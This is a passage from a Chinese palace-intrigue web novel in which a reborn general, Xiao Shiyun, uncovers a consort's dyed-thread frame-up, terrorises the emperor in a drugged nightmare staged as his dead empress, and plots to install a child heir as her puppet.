可惜小康子死的太早,原本还想让他多给丽妃吐点东西。
她白日随口提起,才知是楚庭动的手。
楚指挥使虽说事做得急了点,倒也挺贴心的。
丽妃安静和萧时运对视片刻,慵懒笑起来:“你如此大费周章,只是为了不进宫?”
即使萧时运藏得很好,她却依然在那双黑而亮的眸子里,看到蛇一样蛰伏的恨意。
仿佛时机成熟,她会毫不犹豫将毒牙刺进猎物咽喉,一击致命。
萧时运不答她的话,只笑:“未免夜长梦多,娘娘还是尽早把皇帝请来昭阳殿吧。”
她凑近丽妃脸侧,声音又低了些:“不然皇上可能会先发现您顺水推舟,让玉昭仪毁容的事。”
“你——”
“嘘。”萧时运食指轻轻抵住她的唇,瞥了眼丽妃头顶波动的黑字,若无其事退远,“时候不早了,臣该回去了。”
“能让对手死无葬身之地的机会,丽娘娘可千万别错过。”
萧时运出了承明宫,等在暗处的楚庭走过来,问:“丽妃答应了?”
“她会照做的。”萧时运笑,“我不入宫,她斗倒贤妃,便有登临后位的可能。这么大的诱惑摆在眼前,她怎么可能拒绝。”
和贤妃那个恋爱脑不一样,丽妃爱权势尊荣,唯独不爱周秉文。
前世丽妃能与她相安无事,一则有贤妃这个劲敌,二来萧时运无心争宠,丽妃知她身不由己,也多少震惊于周秉文的无耻,如今一切尚未发生,她自然不想再给自己多个对手。
况且丽妃也不干净。
玉昭仪虽因为贤妃的暗害发桃花疹失了圣心,可在药里做手脚,让玉昭仪脸上留疤的,却是丽妃。
估计丽妃会和上一世一样,用贤妃平账,不过不妨碍她吓唬一下这个女人。
这宫里腌臜事这么多,她既然能知道李美人和玉昭仪的事,是不是还知道别的秘密呢。
丽妃有了忌惮,才不敢过河拆桥。
两人出了宫,楚庭讲:“皇帝要我盯着你的动向。”
“放心,明日见过陆相之后,我会乖乖待在郡邸,不让楚大人为难。”
“陆逊业?”楚庭有些意外地转过头,“他不可能帮我们。”
萧时运去见他倒也不算可疑,陆家和萧家是旧交,又有姻亲,当年周秉文上位,两家各出了一半从龙之功。
但他是周秉文的老师,实打实的帝党,忠心耿耿。萧时运要是敢在他面前暴露一丝反心,立刻就能被老丞相押送天牢上陈皇帝。
“见一见也无妨,有些话楚大人不好开口,但是他能。”萧时运云淡风轻笑了笑,又问。沈平川有什么异常吗?
楚庭摇了摇头:“你怀疑沈平川?”
“沈家清寒,沈平川出仕前一直生计艰难,那个双鱼佩玉质上乘,不像是他的东西。”她惋惜瞥身边人一眼,“楚大人要是能多点记忆就好了,说不定你前世查到过什么疑点呢。”
之前楚庭说,他的梦停在她身死。
他不知道宫人第二日在火场发现了沈大人的尸体,也不知道自己的结局。
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疑点……楚庭想了想说:“前几日沈平川给陆相长子递了帖子,但陆明臣没见他。”
“陆明臣回京了?什么时候的事?”
“上月初。他们之前交游不少,但这次沈平川听完门房回话,离开时脸色不太好看。”
之后两人再无联系。
萧时运听罢思忖片刻,道:“陆明臣一向敏锐,应当是察觉了什么。”
真有趣,沈平川也盯上了陆家。
京城,陆府。
陆逊业历经两朝,官场尔虞我诈磨出的疲惫和戒备沉甸甸蚀在脸上,让他看上去远比实际的年龄更加衰老。他听萧时运讲明来意,漠然端茶。
“西北战事平定,萧将军若再图进身之阶,不担心物极必反,登高跌重吗?”
她竟然想让他在朝中进言,帮她谋个世职。
萧家已有镇西侯的爵位,萧时运如此贪心,当真年少轻狂,未识功高震主的隐祸。
“我是想退啊。”萧时运迎着陆相的审视,佯装没明白他的暗示,语气平静,“可皇上不愿放过我呢。”
她轻轻指了指自己的脸:“您见过昭惠皇后,对吧?”
陆逊业闻言皱眉。
他自然见过镇西侯的妹妹,可萧时运提这个做什么。
皇帝不愿放过……
陆相怔愣半晌,忽然放下茶杯,呵斥道:“放肆!你可知讪谤君上是什么罪过!”
萧时运注视着眼前人的恐惧,无所谓笑了笑:“圣上宵衣旰食励精图治,您也不希望他因此留下话柄,被后世非议失德吧。”
陆逊业这种重道奉理的老学究,当然无法容忍周秉文自行其是。
“陆相放心,我在边关吃够了沙子,只想领个虚职留京荣养。”
他狐疑看眼前人:“你不想回西北?”
萧家新上阵的小辈里,萧时运无疑是最好的将才。
方才片刻的交谈里,他能在她身上看到桀骜的血性。
这样一个人,会甘心留在京城?
“想啊。可是一家平安更重要,不是吗。”她慢慢喝了口茶,字句平直,“您帮我,既能维护皇帝声誉,还能消皇帝疑虑,何乐不为呢。”
周秉文忌惮萧家的军权,若陆逊业进言,把萧时运留在京城,也是个表忠的好机会。
她最终在陆相那里拿到了满意的回答。
离开书房时,一个月白襕衫的男人与她迎面,拱手道:“见过萧将军。”
来人方过而立,眉目分明,风骨清峻,唇边一点笑意,显出春温清湛的平和。
君子天庙器,峤然千丈松。
是陆相长子,陆明臣。
“陆公子此番归家,可是回心转意,要在京中长住?”
她听父兄提过,陆相刚直,陆家长子却敏锐精明,当年周秉文上位,陆明臣在背后谋划不少。
只是不知为何,新帝登基,他却自言无心科举,离京游历去了。
上一世她和陆明臣并无交集,但若这样的人再为周秉文所用,会成为她的劲敌。
要不找个机会先干掉他?
“我已打算于下月初去荆湖。”陆明臣好脾气笑笑,“天地山河广阔,若只困囿京城,未免可惜。”
她听出他话里一点道不明的喟叹。
但结合楚庭给的信息,她怀疑陆明臣是想躲沈平川。
不论怎样,他肯离京就好。萧时运想。不然她要妄造杀业了。
从陆府出来,萧时运确如答应楚庭的那样,乖乖回了郡邸。毕竟该做的事都已做完,接下来,她只要等承明宫递出消息即可。
以丽妃的得宠程度,估计不出三日便会来找她吧。
别让她等太久啊,丽娘娘。
未想当夜楚庭翻进她房里,语气急切:“丽妃出事了。”
5. 蟠龙泣血
萧时运盯着头顶的帐子静了片刻,慢慢叹了口气,起身问:“怎么了?”
都忙了两个晚上了,就不能让她好好睡个觉吗。
烦死了。
夜色沉沉压在头顶,四下灯火缄默,唯有巡夜的梆声敲过街道,空脆寥寂。
萧时运跟着楚庭潜进宫城,也大致听完了事情经过。
丽妃给周秉文新绣了件寝衣,前几日才送进长安宫,今夜周秉文穿着它招幸了一个宝林,好巧不巧,胸口的蟠龙刺绣莫名其妙洇开一片鲜红,宛如血渍,看着确实不太吉利。
那宝林是贤妃宫里的人,贤妃自然也就知道了。
两人一唱一和添油加醋说是丽妃心怀怨怼,在宫中行厌胜之术诅咒皇帝,才致蟠龙渗血,若放任不管,恐酿成大祸。
长安宫对口相声讲得精彩,偏偏弘昌帝又格外忌讳这个,一怒之下令丽妃禁足等候发落,还关押了她身边所有的宫人。
现在承明宫和外界音信断绝,楚庭趁人不察去见了丽妃一面,她知道他是萧时运的人,求他们想想办法。
萧时运听完愣了一会儿,脸遮在斗篷里,看不出什么情绪。
楚庭见身边人不说话,皮笑肉不笑扯了下嘴角,问:“萧将军害怕了?”
“楚大人误会了。”萧时运闷闷瞥他一眼,“我没什么好怕的。”
她只是没睡醒。
并且很艰难忍住了几句脏话。
如果说刚刚萧时运只是心烦,现在听楚庭讲完,更可谓怨气深重。
——所以,就是这种封建迷信的破事在吵她睡觉?
萧时运盯着长安宫的方向,忍不住舔了舔后槽牙。
贤妃,你最好有事。
但无论如何,丽妃还有用,她得保住这个女人。
是以她问楚庭:“那件寝衣还在吗?”
“贤妃原本说要拿去烧了,陶仲节借口厌胜之术余孽未清,骤然焚毁邪物可能会损伤龙体,暂且把物证封在了八卦楼。”
陶仲节,周秉文身边的方士。
萧时运:……
萧时运:什么魔法对轰。
“带我去看看那个寝衣。”
她不信神鬼,所谓蟠龙泣血,无非就是绣缎的工艺有问题导致掉色,或者被人做了手脚。
前者概率不大,不然尚功局织染司织造局一干人等早就携手去见阎王了。
“两刻后侍卫换岗,可以趁机溜进去。”
“那我们先去见丽妃。”萧时运正要走,忽然动作顿住,疑惑问,“陶仲节为什么帮丽妃保存证物?”
这人生性谨慎,平日常以修行为由把自己闭锁在八卦楼,少与旁人交际。
她不记得前世他和丽妃有往来。
楚庭静了片刻,道:“是我的意思。”
他顶着萧时运的凝视,艰难解释了一句:“李美人掉的那个孩子,是他的。”
萧时运想。今晚的惊喜还挺多的。
她就知道那一胎有问题。
前世她进宫时,周秉文宗丨筋丨弛丨纵,说银样蜡枪头都是夸他了。
不然也不会招陶仲节进宫,偷偷摸摸炼一些奇怪的方术。
但弘昌帝硬件不行这个问题比较严重,吃药也救不了的那种。
年轻的时候可能行过那么一小会儿吧,毕竟昭惠皇后嫁给周秉文第二年,生了先太子,早年也有两个宫妃生过皇子。
那时候姑姑爱周秉文爱得情真意切,为他从边塞回了京城,自囿后宅,不太可能背叛他。
现在看来,恋爱脑实在害人啊。
可惜太子三岁时早逝,余下两个孩子也没能平安长大。
以至于弘昌帝至今膝下无嗣。
萧时运很难不怀疑是他质量有问题。
她听丽妃说过,周秉文当初很看重李美人这一胎。
那时候萧时运腹诽,后宫多年无所出,好容易有喜讯证明自己能行,他当然看中。
没想到根本不是他的。
真是上不得台面啊,周秉文。
不过陶仲节颇得弘昌帝宠信,楚庭既然捏着他的把柄,后面或许还派得上用场。
她这样想着,随手捏了捏身边人的脸:“这次做得不错。”
楚庭:?
昭阳殿。
萧时运冷眼看楚庭熟练用迷药放倒守在殿前的侍官,警惕走进殿内。丽妃站在正殿中央,事发不过几个时辰,比起上次她们见面,她却骤然憔悴了许多。
“救救我!”她抓住萧时运手腕,眼底惊惧凄惶,“我没有诅咒皇上的理由,一定是贤妃害我。”
她现在困在承明宫,既看不到所谓的物证,也联系不上自己的宫人,只能指望萧时运查出点东西了。
她不想死。
这个女人既然能知道她和贤妃之间的算计,一定也有办法救她。
丽妃太用力,豆蔻殷红的指甲掐进皮肤,萧时运感受着腕间薄而尖锐的刺痛,却没拦她的动作,平静问:“绣寝衣剩下的丝线在哪?”
丽妃眼神放空片刻,说:“搜宫的内官拿走了。”
也封在八卦楼。
萧时运和她桌边坐下,视线扫过昭阳殿空荡荡的桌案,又问:“平日是谁收着那些彩缎?”
或许是因为眼前人的从容,丽妃逐渐冷静下来,垂眼思量片刻,说了两个名字。
萧时运转头看看楚庭,示意他记下。
她简单问过丽妃几个问题,估计时间差不多了,对眼前人说:“我去看看那些物证有无不妥,在收到我的消息之前,不要妄动。”
她看着丽妃头顶跳动的数字,反握住她的手,语气放轻了些,安抚道:“放心,我不会让你死的。”
其实那些锦缎丝线经手人太多,承明宫的宫人,尚功局的司彩司制,甚至任何出入库房的人,都可能下手。
他们现在来不及查。
萧时运问这些,不过是先稳住丽妃,省得她在周秉文面前惊惧失言,做出什么蠢事来。
事已至此,先去看物证吧。
八卦楼坐落在长安宫北面,位于外朝和内廷的分界处,是历代侍奉君王的方士修道炼丹之地。子不语怪力乱神,朝臣多少都有点不待见这个地方。
但皇帝喜欢。
萧时运和楚庭从楼后小门上了二楼,内里陈设堂皇,全然描金错彩的铺张与宏丽,即使她已见过两世内廷的煊赫,依然震惊周秉文的奢靡。
也不怪文臣一直争谏劝阻弘昌帝兴建殿宇,这一室的装潢若能换成军饷
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,能为多少士兵裁制冬衣安养家眷。
她压下心底的嫌憎,谨慎绕过隔断,举灯照向挂在架上的衣服。大概是为让周秉文安心,寝衣上还胡乱贴了几张符纸,边缘颤巍巍随风微晃,滑稽的可笑。
萧时运略微倾身,仔细看过胸前的蟠龙刺绣。无论丽妃爱不爱周秉文,在讨好君上这件事上,她都做得很用心。针线细密,刺绣生动,还绞了银线在鳞间,灯影移过布料时,粼粼照开一片辉光。
只是龙身上几块褐红的污渍斑驳,着实碍眼。
她小心翼翼将灯移近了些,见丝线缝隙除了些褐紫的结块,似乎还有点泛白的结晶,于是抬手摸了摸刺绣。
彩线织成密而硬的纹理磨过皮肤,萧时运低眼捻了捻指腹细碎的白色颗粒,粉末蒙在指尖,有轻薄的滞涩。
她把灯递给楚庭,凑近闻了闻那一块刺绣。
若有若无的辛冲蹭过鼻尖。
有点熟悉,一时想不起来在哪闻过。
她又示意身边人靠近。
楚指挥使认真分辨了半晌,忍不住皱眉:“是姜黄。”
不愧是朝廷鹰犬,鼻子就是灵。
萧时运腹诽了一句,转身走向旁边的格架:“看看余下的丝线有没有类似的痕迹。”
无论清理的再仔细,做过的事,总会留痕迹。
他们翻过几卷线轴,终于在一卷白色丝线上发现了和刺绣相似的结晶。
“贤妃身边有织染司或者尚功局的人吗?”
前世并没有这件事,萧时运也不确定,究竟是谁帮贤妃想出这么精细的手段来栽害丽妃。
楚庭思量片刻,犹疑道:“今夜侍寝的宝林有个哥哥在工部织染所当差。”
“那多半是她了。”她把手里的线轴丢给楚庭,“几股线按照颜色分别在苏木、姜黄和石灰水里泡过,晾干后织在一起,平日看不出什么异样,可一旦受潮,姜黄苏木遇碱水变红,颜色就渗出来了。”
至于到底是周秉文磕丨药之后身体燥热出了汗,还是玩了什么鸳鸯戏水的花样,就只能问他自己了。
“跟丽妃说一声,让她和周秉文申冤去吧。”萧时运嫌弃翻了个白眼,“我要回去睡觉了。”
弘昌帝虽然迷信神鬼之说,却也不至于证据摆在眼前还不讲道理。
而且他最讨厌别人利用他的心思。
丽妃如果聪明的话,应该知道,这是个痛打落水狗的好机会。
萧时运回到郡邸时已是五更,她潦草在床上躺了两个时辰,天亮后听到丽妃脱困的消息,才松了口气。
她还是挺佩服这女人的执行力。
萧将军正准备打赏带话的宫人,又听见对面说。皇上为了补偿丽妃娘娘受的委屈,今夜要留宿昭阳殿。
补偿?
给那玩意侍寝,算补偿吗?
工伤才对吧。
萧时运腹诽了一句,忽然反应过来,她今夜又睡不成了。
就不能让她多睡一会儿吗?
萧时运这样想着,无奈揉了揉额角,又忍不住叹气。
算了,算了,为成大业,多熬几个时辰也不是什么要紧事。
她该准备动手了。
周秉文,这份深情,你可要好好说给正主听啊。
6. 照影来
夜半时分,皓白一轮满月盈过檐瓦,昭阳殿内罗幕低垂,光影昏晦,惟外间一架烛火微晃。周秉文半梦半醒间,忽然听到有人在唱。
“边关月,照长安,满城飞絮终作雪,可怜春半掩牡丹。”
那声音若近若远,雾一样缠着他,在这万物缄声的夜里,悠扬唱出脆生生的鬼气。
弘昌帝沉沉睁开眼,恍惚想,是谁。
谁这么大胆子,在宫城内唱这种哀歌。
这是昭惠皇后离世时的童谣。
他强撑起身,猛然扯开床帐,对面却戛然敛声。
周秉文看着眼前的景象怔滞半晌,扬声要叫内侍,可一团气堵在喉咙,任唇口满开,却无半分声响。
恐惧四面八方灌入躯体,虚浮的颓软立时抽去筋骨,周秉文身子一晃,险些栽在榻上。枕面的织花磨过皮肤,他才惊觉身侧空无一人。
丽妃,昭阳殿的宫人,全都不见了。
殿内却又多出许多素白幔帐,飘摇悬在半空,仿佛弘昌五年满城缟素的哀戚。
“三郎。”
空渺的女声从层叠的素帐后飘来,缠绵悱恻,凄婉哀伤。
周秉文跌跌撞撞起身,乍然撞见幢幢白幔间若隐若现的影子,难以置信瞪大了眼。
“窈娘?”
一只手盈盈拨开帐幔,月光流进来,照见满室触目惊心的惨白。一个戴双凤翊龙冠的女人站在帏幔后,金绣龙纹霞帔早已黯淡,她还是周秉文的记忆里的样子,乱红穠华,艳绝满春盛景,未见丝毫衰朽。
弘昌帝一瞬跌在地上。
不可能……
她怎么会……
“三郎这是怎么了。”那女人轻飘飘蹙眉,字句哀切,“你我夫妻难得再见,三郎不该高兴吗?”
周秉文呆在原地半晌没有反应。
穿着昭惠皇后旧衣的萧时运也有些意外。
狗皇帝这个疯长的恐惧值是怎么回事?
折腾完小康子之后,她还是第一次见三位数的黑字。
她让丽妃下的药里是有致幻的成份,可常言日有所思夜有所梦,到底也是心境的投射,周秉文看见什么了,能吓成这样?
这是一个自诩深情,在皇后崩逝后下令未央宫封宫,数年未立继后的人见到早逝白月光该有的反应吗?
虽然不能指望狗皇帝喜极而泣,但至少,该有一点相思入梦的欣幸吧。
她和丽妃曾以为,周秉文对姑姑的追思哪怕戏做到九分,总该对相识于微时的亡妻还有一份真情。
还是高估了狗东西的良心。
“窈娘……你不要怪我……我……我当年也是迫不得已。”
什么?
萧时运原本还在感叹昭惠皇后痴心错付,突然听见这话,差点没控制住表情。
周秉文自爆了什么东西?
她看着他眼底惊涛骇浪的悚惧,骤然反应过来。
这个畜丨生!
她一直以为姑姑是病逝,可看周秉文如今的反应,怕是另有隐情。
“身不由己?”
萧时运扯过搭在架子上的绦带,侧身一甩,死死勒住周秉文脖子。
“你在御座上享万人奉养,无边权势,竟然有脸在这说,身不由己?”
“你害了我一生还不够,现在又想对时运,甚至对萧家下手!”
剧痛绞住咽喉,本能的求生欲让周秉文挣扎抬手,艰难扯住缠在脖颈的绦带:“窈娘……你……”
颈上绞索逐渐收紧,濒死的恐惧慑住心脏,几乎挤干胸腔最后一丝氧气。
她真的很想勒死周秉文。
狗*的,为什么这畜生一个孩子也没养住,但凡有个尚在襁褓的皇嗣给她做傀儡稳住朝堂,周秉文立时就可以龙驭宾天了。
萧时运看他双眼翻白,不甘心松开手,咬牙盯着地上的人,眼底杀意凛然:“若你再敢对萧家人下手,我会亲手折断你的脖子。”
“皇上!皇上!您怎么了。”
周秉文睁开眼,看到丽妃担忧坐在他身旁。窒息的刺痛犹在喉间,他猛然抓住眼前人的胳膊:“这是哪?”
丽妃愣了一霎,茫然道:“这是昭阳殿啊。”
她小心翼翼觑了眼周秉文的脸色,问:“皇上是魇住了?”
他没理会丽妃的话,视线警惕扫过殿内,却见彩屏画梁繁丽辉煌,一切陈设如旧,全然不似梦里森森然的鬼气。
只是梦吗……
“今日不知怎么了,臣妾和李公公怎么叫您都叫不醒。还见您掐自己的脖子,可把臣妾吓坏了。”丽妃轻轻覆住他的手,语气的忧虑里掺了些恰到好处的关切,“皇上日夜为国事操劳,也要保重龙体啊。”
她看了旁边的李用一眼,内侍监忙躬身道:“奴才已经差人去请太医了。”
他语气不自然顿了一下,又说:“有件事奴才不敢隐瞒。”
“孝陵卫来报,昨夜南陵外侧松林地坼生光,五更方止。守卫清早去查看,林子里竟有数道几丈深的坼坑。”
南陵……
周秉文猛然变了脸色。
那是昭惠皇后的陵寝。
“叫陶仲节来!”
“太医已经到了,皇上是否先让他们看看……”
“朕说了,叫陶仲节来!”
李用忙不迭退出去,行至院内,才抬手擦了擦额角的冷汗。
还好有南陵的事作掩护,丽妃也有心帮他遮掩。不然看皇帝方才的脸色,自己犯瞌睡忘记叫皇上的事,怕是少不了一顿板子。
哎。自己伺候皇帝这么多年,怎么还能犯这种疏漏。
一刻后,一个穿深蓝粗麻直裰的男人惴惴跪在周秉文面前,惶恐道:“古书云,地以六月劈,此岁定。南陵地坼生光,乃昭惠皇后感念边陲平定,神驰浮荡,阴魄不敛,才致此异象。”
冷汗顺着额角淌下来,陶仲节想,自己算是栽在楚大人手里了。
李用来传他时,曾暗示皇帝梦中惊悸,让他谨慎回话。
可他一早得了楚庭的警告,无论如何,要把这件事说成时宁岁乐的吉兆。
彼时指挥使大人意有所指点了点缇骑司的符牌,阴恻恻与他笑。陶真人也不希望,皇上得知所谓培本固元术的真相吧?
陶仲节看着楚庭挑在眼前的丝布锦囊,双腿一软,险些跌在地上。
他靠着李美人有孕一事,才得了如今的富贵荣宠,若被弘昌帝知道真相,能有即刻绞杀的速死,都算是圣心仁慈皇恩浩荡。
可地裂生光又撞上皇帝梦魇,这实在……实在不像什么吉兆啊!
陶仲节强稳住心神,偷偷抬眼,见周秉文面色不虞,硬着头皮继续道:“昭惠皇后陵前松林生光一事,民间物议如沸,皇上何不顺势设水陆法事超度边关亡魂,以示恩典。百姓感念皇上仁心,自然不会再有浮言。”
他低眼思量片刻,又道:“若皇上忧心梦魇之事,可于南陵和未央宫建镇魂台,再由贫道设醮做法七七四十九日,请上位天翁封魇,如此,可保内宫平安。”
周秉文的视线垂下来,千钧万钧的威慑压在脊上,陶仲节煎熬良久,听见御座上的人说。
“照陶真人的话去做吧。”
内侍监领命退下,周秉文半合了双眼,冷声道:“若法事无用,你知道自己是什么下场。”
陶仲节诺诺应声,出长安宫时,才惊觉汗水已浸透里衣。
另一边,萧时运换了身玉色提花圆领襕衫坐在茶肆,凤眸半敛,不动声色听着身边人的议论。
南陵松林生光一早便在京城传开了,为了配合陶仲节的话,她派人在坊间散出消息,有意将事情往祥瑞上引,说这是庆贺漠北大捷的吉兆。
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>如今也确实如她所料,茶肆众人谈及此事,话里难免带出些欣喜的豪兴,仿佛自己也是征战漠北血洒边疆的勇士,一并受用这吉星高照的喜事。
纵然有零星几句对阴畔不静恐生异祸的忧虑,也很快压在旁人的嬉笑里。
萧时运兴致缺缺听了一会儿,有人在她对面坐下:“皇上下旨,要在护国寺设祭超度边关阵亡将士。”
“辛苦楚大人了。”她懒散笑了笑,倾身凑近楚庭,“明日长安宫议事,陆相会趁机进言,为我讨个从三品云骑都尉的勋职。”
这个身份可比镇西侯长女方便多了。
眼下众人虽敬她的功绩,也称一声萧将军,可缙州指挥使的官衔到底难入京城大人物的眼,镇西侯长女的名头和女眷喝喝茶还行,和那些老狐狸坐在一起,难免被轻看。
比起靠他人荫蔽施舍,权力和地位这种东西,还是得自己抢啊。
地坼生光的议论愈演愈烈,周秉文就算再不情愿,也得认下这个赏赐。
其实这事前世也发生过,那时候流言怎么传的来着。
哦,好像是说姑姑被她魅惑君上气显灵了。
真可笑。
一个地质活动导致的自然现象,竟然能在两世得出截然不同的论断。
所以说,封建迷信要不得。
两人进了二楼的包厢,小二退下后,萧时运示意青枝去门边守着,对楚庭道:“我打算去见陶仲节。”
“不行。”楚庭干净利落截断她的话,“他虽然恐惧私丨通败露暂时听命于我,但此人常伴御侧,若逼迫过甚,难保不会狗急跳墙反咬一口。”
“而论权势尊荣,我们也开不出比皇帝更高的价码,他没有理由背叛周秉文。”楚庭敛眸盯着杯中水影,眼底狠戾一闪而过。“陆相进言后,他很可能意识到我与你之间的关联,倒不如尽快除去,以绝后患。”
“谁说我们开不出更诱人的条件了?”萧时运掩唇轻笑,“陶仲节侍奉周秉文,法号封得再长,这辈子也只是个战战兢兢的佞奴,还得时刻担心自己的骗术被揭穿。”
她笑盈盈贴近楚庭耳畔,气息轻缓:“我可是能让他当新帝的生父。”
“你是说……”
楚指挥使注视着萧时运眼底触目惊心的狂妄,终于意识到,周秉文前世严防死守的忧惶与忌惮,并非过为已甚。
“我需要一个孩子。”她若无其事摊手,“既然他和李美人有现成的缘分,我不介意成全他。”
周秉文不行,不是还有陶仲节吗。
等孩子落地后去父留子,接下来就可以走皇帝年幼权臣摄政加九锡剑履上殿入朝不趋赞拜不名的流程了。
百姓一向是很能忍的,眼下没到连年灾荒民不聊生的末路,民间对造丨反的接受度没那么高。若非前世那种绝境,她并不想走边关起兵这条路。
萧时运原本想取得丽妃信任之后,说服她配合弄个皇嗣出来。
毕竟扶幼主做摄政可比从边关一路打过来的难度可低多了。
而对丽妃来说,当不了皇后,能当个太后,似乎也没什么不好。
——后者还不用担心被废。
但既然有一对现成的苦命鸳鸯,她也不介意用一下。
楚庭神色复杂看着自己的合作搭档,试探问:“你的意思,只要有个皇嗣就行?”
“名义上得是周秉文亲生的。”萧时运支着下巴斜乜他一眼,“最好是不过垂髫父母双亡的那种。”
年龄太大不好控制,后面杀起来也不方便。
楚庭:……
一个时辰后,萧时运看着眼前的小姑娘,想。
楚大人到底还有多少惊喜是她不知道的。
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*出自唐瞿昙悉达所撰《开元占经》,卷四.地占,地坼篇
*孩子不是楚庭的大家放心
7. 公主
她实在想不到,周秉文还真有个孩子。
至少楚庭说是。
可是姓周的难得有个活下来的独苗,怎么舍得扔在冷宫?
萧时运不确定这孩子到底几岁,她太瘦了,长期的苛待让她显出病态的孱弱与单薄,一双眼睛倒是很亮,光落进去,照开一小块纹路剔透的琥珀。
小姑娘身上套了件明显不合身的旧宫装,已经是很早的样式,料子也差,普通宫女穿得都比这好些。
不过也是,都被扔到冷宫这种地方了,活下来已属侥幸,也不能指望她能被养得多精细。
萧时运看了一眼她头顶的数字,二十一,似乎不怎么怕他们。
“楚大人之前来冷宫,是因为这孩子?”
她回头打量了一下楚庭,又看看眼前的小姑娘。想。长得也不像啊。
而且看周沅的状况,他也太不上心了吧。
楚指挥使显然意识到了自己造反好搭档的困惑,气得舔了舔后槽牙:“萧时运,你脑子里装得都是些什么玩意。”
他明年才及冠,怎么可能突然冒出来一个十二岁的孩子。
况且楚大人一向洁身自好,平日连个通房丫鬟也无,萧将军突然好大一口锅扣过来,实在岂有此理。
“楚大人别生气嘛,我也只是确认一下。”她笑眯眯歪头往楚庭身边凑了凑,顶着那张美艳动人的脸,明目张胆调丨戏指挥使大人,“毕竟我是要去父留子的,要是楚大人的话,还真有点舍不得。”
楚庭冷哼一声,别开脸,耳根却有点泛红。
他瞥了一眼小姑娘,欲盖弥彰扯开话题:“她叫周沅,生母是……”
楚大人不自然顿了片刻,似乎在斟酌措辞,最终讲。曾经的怀王妃,江采薇。
萧时运了然。
难怪周秉文不待见这孩子。
这宫里的秘密很多,格外恶心的那种。
因为她的皇后姑姑,也因为宫人对小孩子总归少点忌惮,萧时运碰巧知道一点。
周秉文还是景王时,有三个兄弟。
彼时太子已立,道永帝对这个继承人也一直非常满意。而周秉文母妃出身低微,虽然运气好生了两个皇子,但始终恩宠平平,连带着周秉文也不受重视。
按理说,皇位无论如何也轮不到周秉文的。
可道永三十四年,康敬太子落水,后因风寒不治薨逝。先帝悲恸过度大病一场,从此身体就一直不太好。
太子薨逝后,尚在襁褓又和周秉文一母同胞的四皇子暂且不提,成年皇子只剩了二皇子怀王,和三皇子周秉文。
怀王母家强势,本人却是个诗酒放诞不问朝政的逍遥性子,不顾先帝反对,娶了心仪已久的江家姑娘做王妃,对争权的事也不太上心。
周秉文则搭上了随家人回京述职的萧行歌。
道永三十五年,他如愿获封景王,娶了镇西侯的亲妹妹,萧家也算正式站了队。
两年后的秋狩,怀王献鹰,可先帝掀开笼衣,里面却是一支毒箭。
怀王没有反心,是周秉文。
景王殿下和提前串通好的禁军统领当即以弑君谋逆的罪名控制住怀王等人,并拿出了早就准备好的遗诏。
或许也因为这位禁军统领对先帝的背叛,周秉文上位之后,把上直十二卫的统领换成了内侍省的亲信太监。
内侍官寄食皇权,无缘荫妻封子,也就只能忠于弘昌帝,换一朝的风光无限。
明面上怀王妃和怀王一道以死谢罪,家人皆被清算。
可实际上,周秉文把她收进了后宫。
无名无份。直至死亡。
所以成婚并不能躲过周秉文的毒手。
萧时运不觉得他对江采薇有什么情愫,若真爱一个人,不会舍得让她以宫人的名义被丢去乱葬岗,曝尸荒野。
最后还是姑姑看不下去,和周秉文大吵一架,给江采薇收了尸。
弘昌帝只是在满足自己变丨态的征服欲,享受掌控他人生杀的快意,以及对兄长一生无忧顺遂的卑劣忌妒与报复。
怀王很爱自己的王妃。
萧时运对他们的纠葛其实没什么兴趣,她只是听过未央宫的宫人悄悄议论,弘昌三年的帝后不和,是因为江采薇的死。
却没想到她竟然还留下一个孩子。
可这样的身世,周沅在皇家玉牒上吗?
她要扶的小傀儡得名正言顺,才好堵前朝那帮大臣的嘴。
萧将军这样想着,也就问出了口。
“她记在了一个病逝的宝林名下。”楚庭看着萧时运,语气带了点莫可名状的喟叹,“是昭惠皇后帮她争来的。”
姑姑?
她都不知道的事,楚庭从哪查到的?
“丽妃告诉我的。”
听到这个名字,周沅头顶的黑字往上跳了一点。萧时运见状把她揽到身边,随手擦了一下周沅脸侧的灰,问:“那个女人欺负你了?”
周沅怯生生抬眼,犹豫片刻,轻轻摇了摇头。
看头顶的数字,小姑娘确实不恨丽妃。
“照顾她的宫人说,昭惠皇后崩逝后,她们是靠丽妃的接济,才活到现在。”楚庭顿了顿,“不过丽妃好像不太待见她。”
照顾她的人?
萧时运疑惑看看四周,并没有发现其他人。
“雪雁姑姑走了。”
冰凉的水痕砸在她手背,萧将军第一次知道,有孩子能哭得这么安静。
让周沅来继续解释未免太过残忍,是以她擦了擦小姑娘的眼泪,又看楚庭。
“你面圣前一天,小康子发现了她们。他见两人势单力薄,于是起了歹心。雪雁去护着周沅的时候,被那个阉人推搡,头磕在石阶。”
他后来看过尸体,雪雁伤在要害,连救的余地都没有。
而那阉人见出了人命,当场吓跑了。
十天前,周沅因为雪雁病重,从冷宫跑出来,想求丽妃帮忙,路上撞见了楚庭。
楚大人看她年龄太小,不像是宫女,一时兴起多问了两句,因此知道了丽妃背着周秉文养孩子的事。
以及周沅的身世。
丽妃颇为不情愿地派了个懂医理的宫女过去,又给了药。
出事当天,雪雁才退了烧。
或许再过几日,病就好了。
萧时运看着楚庭头顶的红字闪了几下,想。他弄死小康子,也有这一层缘故吧。
无论是周沅雪雁还是前世的自己,楚庭似乎总会对这样的遭遇产生恻隐,以及对施暴者超乎寻常的痛恨。
“丽妃知道这件事吗?”
上一世萧时运并没有听丽妃提过周沅的存在。但按照现在的时间算,至少她入宫时,小姑娘还活着。
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“知道。那天她派宫女过来送东西,被小康子看见了。”
那个阉丨人跟着承明宫的大宫女到了冷宫,才知道丽妃偷偷藏了这么大个秘密。
他原想去告诉贤妃娘娘讨赏,可惜还没找到机会开口,便被楚指挥使杀了。
萧时运听罢敛眸静了片刻,对楚庭道:“带个话给丽妃,让她好好养着这个孩子。”
两人从冷宫离开后,萧时运才问:“楚大人是不是知道周沅前世的结局?”
“初见那夜我就想说了。”她轻轻点了点楚庭的心口,长睫低垂,语气却听不出什么情绪,“怜悯不适合出现在我们这种人脸上。”
楚庭眼里的怜悯太重了,就好像周沅不是一个活人,而是一方碑冢,一捧白骨,茕茕立在荒野,无依无靠,衰草凄凉。
这让她想起他们初见时,楚指挥使说起她的前世,也是相似的喟然。
楚庭沉默片刻,慢慢叹了口气:“你进宫没多久她就死了。”
“前世我没有杀小康子,所以贤妃知道了她的存在。那个女人往周沅住的屋子扔了很多老鼠。”
贤妃进宫晚,不知道这些旧事,她只是嫉妒。
凭什么她没有孩子,丽妃却能白捡个便宜公主。
